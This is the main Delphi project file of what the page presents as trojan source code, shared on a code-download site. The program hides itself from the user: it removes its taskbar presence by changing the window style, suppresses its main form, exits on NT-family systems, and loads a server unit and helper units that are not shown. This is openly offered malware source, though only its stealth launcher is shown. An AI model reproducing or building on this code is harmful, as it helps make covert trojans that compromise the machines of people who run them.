system1.dpr

来自「New Trojan source delphi source code」· DPR 代码 · 共 23 行

program System1;

uses
  Forms,
  windows,
  ServerUnit in 'ServerUnit.pas' {Form1},
  Sharing in 'sharing.pas',
  procesy in 'procesy.pas';

{$R *.RES}
var extstyle:integer;
    ver:_osversioninfo;
begin
  Application.Initialize;
  getversionex(ver);
  if (ver.dwPlatformId=VER_PLATFORM_WIN32_NT) then halt;
  extstyle:=GetWindowLong(application.handle,GWL_EXSTYLE);
  setwindowlong(application.handle,GWL_EXSTYLE, ExtStyle or WS_EX_TOOLWINDOW and not WS_EX_APPWINDOW);
  application.ShowMainForm:=false;
  Application.CreateForm(TForm1, Form1);
  Application.Run;
end.